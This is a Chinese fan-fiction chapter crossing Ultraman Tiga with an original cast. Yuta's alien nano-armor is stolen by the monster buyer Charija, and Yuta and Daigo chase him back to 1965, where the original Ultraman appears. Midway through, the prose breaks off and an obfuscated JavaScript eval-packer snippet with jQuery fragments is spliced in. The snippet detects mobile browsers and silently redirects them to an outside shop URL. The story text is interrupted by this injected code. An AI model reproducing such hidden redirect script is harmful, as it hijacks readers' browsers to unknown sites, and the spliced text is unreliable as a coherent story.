十月下旬的一个午后，柏木悠太家出了一件天大的事。
事情要从纳米装甲的“脾气”说起。自从长时间不间断的神经链接以来，这套苏美尔生体装甲每隔几周，就需要离线进行一次纳米回路的自洁与冷却——约莫一个钟头，期间它必须脱离宿主，在安静处呈立体休眠状态，自行完成微观层面的修复。这是巴莫拉早就告诉过他的。
这天正赶上自洁窗口。装甲在榻榻米上舒展成等身的兽形，灰褐色的环状褶皱一起一伏，像在沉睡。
“すぐ、かえってくる。」巴莫拉戴好藏触角的针织帽，翠绿短发别在耳后，“コンビニ、ちょっとだけ。」
我去趟便利店，马上回。
“一起下去吧，我去前面取个包裹，楼下分开，五分钟后家里碰头。”悠太锁门时回头看了一眼休眠的装甲——它自洁时无法拟态、也无法被快速唤醒，是它最“脆弱”的一个钟头。他本想留个人守着，可公寓到便利店不过几十米，五分钟的路，能出什么事呢。
他错就错在这个“能出什么事”。
分头之后，包裹点排了会儿队。等悠太攥着包裹折返、刚拐上自家所在的走廊，瞳孔骤然一缩——
他家的门，虚掩着，锁孔有被异常能量融开的痕迹。
“！”他血液一凉，撞开门冲进去。榻榻米上空空如也，休眠的装甲不见了。而窗外的消防梯方向，传来一阵笨重又急促的脚步声，伴随着一个油滑的、压着兴奋的男声：
“嚯嚯嚯……好东西，真是好东西啊！能拟态、能巨大化的生体战衣，这要拿到宇宙集市上，能换三颗殖民星！本买家今天可算捡到宝了——”
悠太扑到窗边，正看见一个穿复古风衣、戴圆礼帽、手提旧式皮箱的矮胖男人，身上正胡乱套着那套灰褐色的装甲，三爪笨拙地扒着消防梯往下窜。那张装甲的脸圆钝无角，此刻却被一个陌生男人的油滑腔调驱动着，说不出的诡异。
宇宙魔人，查理迦。一个游走在时空里、以买卖怪兽和宇宙珍奇为生的“怪兽买家”。
悠太想起来了——这一集里，这家伙本就在现代日本四处搜罗怪兽。他千算万算，没算到对方那比猎犬还灵的职业嗅觉，竟会循着苏美尔纳米装甲的稀有能量信号，摸到他家门口，又偏偏挑中了装甲离线自洁、两人都不在的这短短五分钟。
“把装甲放下——！”
悠太什么都顾不上想，拔腿就追。他摸出翻盖手机想打给巴莫拉，可楼梯追得太急、信号断断续续，他只来得及吼了一句“别回家、在便利店等我”，便死死咬住那道灰褐身影追了出去。装甲被陌生人穿着的触感顺着残留的神经同频传来，陌生、油腻、格格不入，像有人穿着他的皮在跑，恶心得他头皮发麻。
巷口，一辆 TPC巡逻车恰好驶过。
车窗摇下，露出圆大古错愕的脸：“柏木？你追什么——”
“大古队员！”悠太一把扑到车窗边，语速快得像连珠炮，“前面那个穿风衣的，是宇宙人查理迦，他身上套着的，是我那套装甲！他能穿越时空，千万别让他跑了，跑了就再也追不回来了！”
大古没有半分迟疑：“上车！”
巡逻车低吼着窜出。有了机动载具，距离飞快拉近。查理迦穿着还没磨合的装甲，跑得歪歪扭扭，三爪几次打滑，眼见要被堵住，他猛地刹在一处空地上，气急败坏地转过身。
“啧，难缠难缠。”他把皮箱往地上一放，“啪”地弹开，箱盖内侧是一圈精密到不属于这个时代的表盘与晶管，“本来想慢慢谈笔好买卖，既然你们不识货——本买家就不奉陪了！”
“住手！”悠太大吼。
可查理迦已经拍下开关。皮箱前方的空气像被投入石子的水面，荡开一圈幽蓝的涟漪，一扇旋转着幽光的时间之门，缓缓撕开。门那头光影流转，隐约是另一个年代的街道与木造屋舍。
“他要逃到过去！”大古脸色一变。他太清楚这意味着什么——一个满脑子买卖怪兽的危险宇宙人，一旦钻进时间长河为所欲为，后果不堪设想。更别说，他还卷走了那套至关重要的装甲。
时间门正在收缩。
“追！”大古一咬牙，掌心悄然泛起一层微光，将身边的悠太笼住，“抓紧我，别松开——我护着你穿过时间流！”
“好！”
两人一前一后，在时间门闭合前的最后一瞬，一头扎进了那片幽蓝。
强烈的眩晕攫住了悠太，光怪陆离的年代碎片在身侧飞速倒退，他被大古身上那层温暖的光稳稳护着，才没被时间的乱流撕碎。也不知过了几秒还是几年，脚下猛地一实——
他们摔在了一条飘着昭和老歌、满是木造平房与自行车铃的街道上。电线杆上贴着崭新的电影海报，远处的招牌写着“昭和四十年”。
1965年。他们追到了 1965年的日本。
“分头找，他穿那么显眼，跑不远。”大古拉起悠太。
两人循着装甲残留的微弱能量，一路找到了一栋正在忙碌的制作所——圆谷制作所。透过木窗，能看见里头一群人正围着一位面容和蔼、眼神却锐利如孩童的老者讨论着什么。那老者，正是特摄之神，圆谷英二。他对面愁眉苦脸的年轻编剧，是金城哲夫。
悠太的脚步顿住了，呼吸都放轻了。
他一个“看过全部奥特曼”的穿越者，此刻竟隔着四十多年的时光，站在了传说开始的地方。
窗内，圆谷英二正从抽屉里取出一颗温润的红色宝石，放在金城面前。
“……那天晚上我睡不着，去龙森湖边散步，遇见了一个来自 M78星云的巨人。”老者的声音慢悠悠的，却带着奇异的感染力，“他刚把一头可怕的怪兽沉进湖底封印起来。临走时，他把这个送给了我，说这是友谊的信物，叫——奥特之星。”
红色宝石在灯下流转着柔和的光。
“金城啊，”英二望着那颗星，缓缓道，“我们需要一个英雄。英雄，是必要的。”
金城哲夫怔怔地看着那颗星，眼中的迷茫一点点被点亮。
而窗台下的阴影里，一个圆礼帽悄悄缩回——查理迦把这一切听得清清楚楚，油滑的脸上咧开贪婪的笑：“龙森湖……亚那加基，原来你被封在那儿。本买家找你找得好苦啊！”他抱着胡乱套在身上的装甲，悄无声息地退走，直奔龙森湖。
“晚了一步！”悠太低骂。他知道接下来会发生什么——查理迦会解开初代奥特曼的封印，复活那头宇宙第一凶暴的恐龙怪兽。
“大古队员，龙森湖！他要去复活亚那加基，那头怪兽能抱住巨人吸取能量，你千万小心，别被它近身锁死！”
大古深深看了他一眼，重重点头：“明白。你找好掩体，注意安全。”
话音未落，郊外龙森湖方向骤然传来地动山摇的轰鸣，湖水冲天而起，一头五十八米高、面目狰狞的恐龙怪兽破开封印，仰天咆哮。
宇宙恐龙，亚那加基，复活了。
红紫银的巨人，在 1965年的湖畔轰然降临。
迪迦落地的姿态稳如山岳。有了悠太那句“小心被抱吸能量”的预警，他这一战打得异常清醒——亚那加基挥爪扑来，他侧身让过，反手一记手刀切在它颈侧；怪兽张臂想锁抱，他早一步腾挪拉开距离，飞踢、肘击、光线牵制，招招不与它纠缠。
原作里迪迦正是被亚那加基死死抱住、吸干能量才陷入绝境。而这一次，大古从一开始就没给它这个机会。复合型的敏捷被发挥到极致，几个照面下来，亚那加基非但没讨到好，反被踹得连连后退。
“打得好！”掩体后，悠太攥紧了拳。
可就在这时，一道灰褐的巨影，狞笑着撞进了战场。
“嚯嚯嚯，巨人，你以为本买家只有一头怪兽吗？”查理迦的声音从那具五十米级的纳米装甲里传出，刺耳又笨拙，“看看本买家这件新到手的宝贝——给我上！”
装甲被他粗暴地催动巨大化，灰褐色的庞大躯体拔地而起。它本该是悠太与巴莫拉那样灵动、精准、收放自如的守护者，此刻却像一头被醉汉驾驭的野兽，动作生涩、关节卡顿，三爪胡乱挥舞，圆钝无角的兽首张开，从口腔里歪歪扭扭地喷出一道道热能光束——准头差得离谱，却胜在火力凶猛。
亚那加基凶暴近战、贴身吸能，纳米装甲皮糙肉厚、远程乱轰。两头巨兽一近一远，混合双打，战局瞬间逆转。
“可恶……”迪迦躲开装甲的光束，却被亚那加基逼出的破绽牵制，反手格挡间，装甲沉重的三爪狠狠扫在他背上。巨人一个踉跄，胸口的计时器开始急促闪烁。
掩体后的悠太，心像被一只手攥紧。
那是他的装甲，是他和巴莫拉日夜磨合、视作另一条命的伙伴，此刻却被一个贪婪的陌生人当成凶器，对着本该并肩的巨人挥爪。他闭了闭眼，强行让自己冷静，顺着两人长期神经同频留下的那条“通道”，将意识小心翼翼地探了过去——
装甲的神经接口被查理迦粗劣地占着，他夺不回控制权。可他太熟悉这套系统了，熟悉每一条指令的节奏。他无法驾驭，却能干扰：在查理迦下令抬爪的瞬间，他顺着旧同频往平衡模块里塞进一丝迟滞；在对方要喷光束的刹那，他让校准回路轻微卡顿半拍。
战场上，装甲忽然诡异地一个趔趄，本该命中迪迦的光束歪到了天上。
“怎么回事？！这破衣服怎么不听使唤——”查理迦又惊又怒。
就是这半拍，给苦战的迪迦争得了一口喘息。可这终究是杯水车薪，两头巨兽的围攻下，迪迦仍被一步步逼向绝境，计时器的红光越来越急。
“加油……不可以输啊……”
战场边缘，闻讯赶来的圆谷英二拄着拐杖，仰望那座摇摇欲坠的红紫银巨人，苍老的手紧紧攥住了怀里那颗红色的奥特之星。他不知道巨人是谁，不知道这场战斗因何而起，可他眼里有光，一种纯粹的、执拗的、相信“英雄必然存在”的光。
“我们需要一个英雄……”老者喃喃，将那颗星高高举起，“求求你，帮帮他——！”
红色宝石骤然爆发出灼目的光。
那光穿透了 1965年的云层，在迪迦身前凝聚、舒展，化作另一道银红相间的、身姿古朴而伟岸的巨人轮廓。
悠太的眼眶，在看清那道身影的瞬间，猛地热了。
——初代奥特曼。
那个从 M78星云远道而来、一切光之巨人故事最初的起点，跨越了时代与荧屏，真真切切地，降临在他眼前。
“……真的存在。”悠太声音发颤，“原来你们，一直都真的存在。”
初代落地，抬手放出一道柔和的光，拂过迪迦闪烁的计时器，为他续上力量。两位巨人并肩而立，一个古朴厚重，一个凌厉现代，隔着三十年的岁月，站在了同一片战场上。
初代迎向了亚那加基。这一次，宇宙第一凶暴怪兽再讨不到半分便宜，古朴巨人的格斗技沉稳得像一座山，三两招便锁死了它的吸能扑抱，双臂飞快交叉成十字——
斯派修姆光线！
青白的光束笔直贯穿亚那加基，凶暴的恐龙怪兽发出最后一声哀鸣，轰然炸成漫天光屑。
另一侧，迪迦迎上了那具被查理迦操控的装甲。
换作寻常敌人，他早已双臂交叉，一发哉佩利敖光线将其连同恶意一起湮灭。可这一次，他生生收住了杀招。
他认得这具灰褐色的躯体。从嘎地出没的那一夜起，这头圆钝无角的“第二体”，就一次次或生涩、或沉稳地站在人类这一边。它不是怪兽，更不是敌人——它是柏木悠太、是那个翠绿头发的少女拼上一切也要护住的伙伴，是他们俩的“第三个家人”。哉佩利敖一旦落下，被查理迦强占着的装甲，会和入侵者一同化为灰烬，那等于亲手毁掉两位盟友最珍视的东西。
既要制服它，又分毫不能伤它，唯一的办法，是把里面那个“鸠占鹊巢”的家伙，原样剥出来。
迪迦双手一合，亮起的并非杀伤光线，而是那道能将融合、附身状态分离还原的细胞转换光束。光带上不带半分杀意，却不容抗拒，精准地顺着装甲的神经接驳层切入——它只冲开查理迦强行占上的接口，半点没有波及装甲本身。
“什么？！出去、给我出去——啊！”查理迦粗劣的神经接驳被光能一层层冲开，他整个人像被一只无形的手从装甲里“剥”了出来，狼狈地摔回两米高的本体，滚了好几圈。失去入侵者的巨大装甲迅速收束，“哐”地落回地面，变回等身大小，静静躺着——外壳完好，连一道灼痕都没有。
“嚯、嚯……”查理迦手忙脚乱地抓起自己的皮箱，眼见两头依仗全没了，色厉内荏地后退，“你们给本买家记住！怪兽买家，是绝不会放弃的！这颗星球上的好东西，迟早都是我的——”
他飞快拍下皮箱开关，一头钻进凭空撕开的时空门，溜得无影无踪。
战场安静下来。
湖畔，迪迦与初代奥特曼相对而立。
悠太站在远处，屏住了呼吸，亲眼看着那两道一旧一新的光之身影，缓缓伸出手，紧紧握在了一起。
那是一场跨越三十年的接力。是最初的那位英雄，把“守护”的火炬，郑重交到后来者手中；是所有相信光、相信英雄的人，跨越荧屏与岁月的一次久别重逢。初代朝迪迦、也仿佛朝这个时代轻轻颔首，随即腾空而起，化作一道银红的光，消失在 1965年高远的天空。
圆谷英二望着那道光，又低头看看掌心重新安静下来的奥特之星，孩子似的笑了。
迪迦俯身，轻轻拾起地上的装甲，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17923512|213498||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
又从初代消散处，接过一点缓缓凝聚的、温润的红色光球——奥特之星的一缕光，被跨越时空地留了下来。他走到掩体后，光芒收敛，变回了微微喘息的大古。
“装甲，物归原主。”大古把那套灰褐色的装甲递到悠太手里，“我认得它，总不能一发哉佩利敖，连你俩的伙伴一块儿炸了，所以才改用分离的法子——只把查理迦从里面剥出来，装甲本身分毫未伤。就是被那家伙的神经接口硬蹭过，回去，好好‘清理’干净吧。”
悠太接过失而复得的装甲，那熟悉的、属于他和巴莫拉的频率重新在掌心流淌，他长长松了口气，郑重道：“谢谢你，大古队员。也替我……向刚才那位巨人，道一声谢。能亲眼见到他，是我做梦都不敢想的事。”
“他听见了。”大古抬头望了一眼初代离去的方向，轻声说，“他们一直都在，只要有人相信。”
“该回去了。”大古重新托起那缕红色光球，又看向悠太，“抓紧我。查理迦的时间门虽然关了，但它撕开的时空坐标还残留在这，我顺着这条轨迹，能把我们送回原来的时间线。”
他再次化作迪迦，光之巨人一手拢着凡人悠太，一手循着时间长河里那道正在淡去的航迹，逆流而上。光影倒卷间，1965年的木屋、龙森湖、两位巨人握手的湖畔飞速远去，等悠太再站稳，他们已回到了 2009年那条熟悉的小巷，天光正好。
迪迦化回大古，那缕红色光球静静悬浮在他掌心，正是那颗奥特之星的光种。
悠太望着它，神色忽然郑重起来。
“大古队员，有件事，我必须提前告诉你。”他压低声音，“很快，这个世界会迎来一场前所未有的、最黑暗的危机——比你至今遇到的任何怪兽都可怕，黑暗甚至可能会把你彻底吞没、让你失去光。”
大古瞳孔微缩，却没有质疑，只是静静听着。
“到了那个时候，”悠太指着他掌心的光种，一字一句，“就把光，注入这颗奥特之星。今天你亲眼看到了，它能跨越时空，把那位 M78的巨人、把所有‘相信英雄存在’的心意，连成一片。一个人的光或许会熄灭，但只要相信光的人足够多，连时代都能回应你。这颗星，可能就是绝境里，那把重新点亮你的钥匙。”
他不能剧透“加坦杰厄”的全部，却必须把这缕希望，提前交到迪迦手里。
大古沉默片刻，将那缕光种郑重收进怀中，像收下一份跨越时代的嘱托。
“我记住了。”他看着悠太，眼神坚定，“无论将来的黑暗有多深，我都不会忘了今天——不会忘了，光从来不是一个人的东西。”
“嗯。”悠太笑了，重新将装甲穿上身，光学迷彩一闪，整个人连同装甲隐入空气，“那我先回家了，再不回去，有人要急疯了。”
悠太推开家门时，巴莫拉正抱着胳膊在玄关来回踱步，触角绷得笔直，一脸“你最好给我个解释”的表情。她按他电话里说的在便利店等了又等，越等越不对，赶紧回家，却只看到被融开的锁和一地狼藉。
“おそい！どこいってたの！？アーマーは！？」她扑上来，一连串地质问。
“说来话长，你先冷静……”悠太解除迷彩显形，把从失窃、追击、穿越 1965、双怪兽战迪迦与初代、到夺回装甲的经过，一口气讲了一遍。
巴莫拉越听，触角竖得越高，脸色从焦急变成震惊，又从震惊变成一种难以言喻的嫌恶与暴怒。
“……まて。」她声音都在抖，一把指着他身上的装甲，“つまり、このアーマー、しらないおっさんが、きてたの？あぶらぎった、ふとった、うちゅうじんの、おっさんが？！」
等等，也就是说，这套装甲，被一个不认识的大叔穿了？一个油腻的、肥胖的宇宙人大叔？！
“……从某种意义上说，是。”悠太艰难地点头。
“ゆるせない！！」巴莫拉如遭雷击，翠绿的眼睛里写满了“精神污染”四个大字，当即一把将装甲从他身上催出，“これは、わたしとゆうたの、アーマーなのに！！かんぜんに、せいじょう、する！いますぐ！なかも、そとも、しんけいコネクタも、ぜんぶ！」
不可原谅！这可是我和悠太的装甲！！必须彻底清洗，现在、立刻、马上！里面、外面、神经接口，全部！
于是，堂堂刚从 1965年见证了两位光之巨人历史性握手、还顺手为拯救世界埋下一颗希望种子的柏木悠太，回到家的第一件事，是被巴莫拉拽着，给一套纳米装甲来了一场里里外外、毫不留情的大扫除。
纳米自洁程序被开到最大，巴莫拉还嫌不够，调出苏美尔的净化回路，一遍遍地冲刷神经接驳层，嘴里还念念有词：“おっさんのけいかい、けせ……おっさんのぶん、きえろ……」（把大叔的痕迹洗掉……把大叔那份，统统消掉……）
悠太蹲在一旁帮忙递工具，又好气又好笑，心里却暖烘烘的。他知道她为什么这么激动——这套装甲对她而言从来不是一件工具，它是她从苏美尔带到这颗星球的唯一依靠，是后来又把他也一并接纳、承载了两个人所有羁绊的“第三个家人”。被陌生的贪婪之徒钻进去，对她来说，和有人闯进了他们的家，没什么两样。
“好啦，净化读数归零了，比新的还干净。”折腾到入夜，悠太终于读出合格的数值。
巴莫拉这才心满意足，让洗得焕然一新的装甲重新拟态、穿回自己身上，触角软软地耷拉下来，小声嘟囔：“……つぎ、ぬすまれたら、ゆるさない。かぞくなんだから。」
下次再被偷走，绝不饶它。毕竟，这是家人啊。
“不会了。”悠太揉揉她的翠绿短发，望向窗外。
东京的夜空看不到 M78，可他知道，就在这片星空的某个方向，那位古朴的巨人曾与迪迦握手；而四十四年前的龙森湖畔，一位相信英雄的老人，用一颗红色的星，为所有后来者点亮了火种。
“我们需要一个英雄，英雄是必要的。”他轻声重复着圆谷英二的话。
最深的黑暗，已经不远了。齐杰拉的绽放是前兆，沉睡在南太平洋海底的那股绝望，正在苏醒。
但他不再像齐杰拉时那样惶惑，也不再像脱下装甲时那样想逃。
因为他亲眼见过了——光会跨越时代而来，会因“相信”而汇聚，会在一个巨人快要倒下时，由另一个巨人、由无数颗不肯放弃的心，重新把他托起。
他有巴莫拉，有迪迦，有一颗已经悄悄埋下的奥特之星，还有那么多终将在绝境里化作光的、平凡而伟大的人。
“等着吧。”悠太握紧了巴莫拉的手，声音很轻，却异常坚定，“不管来的是什么样的黑暗，这一次，我们都一起接住。”
装甲在少女身上安静地搏动，像一句无声的应答。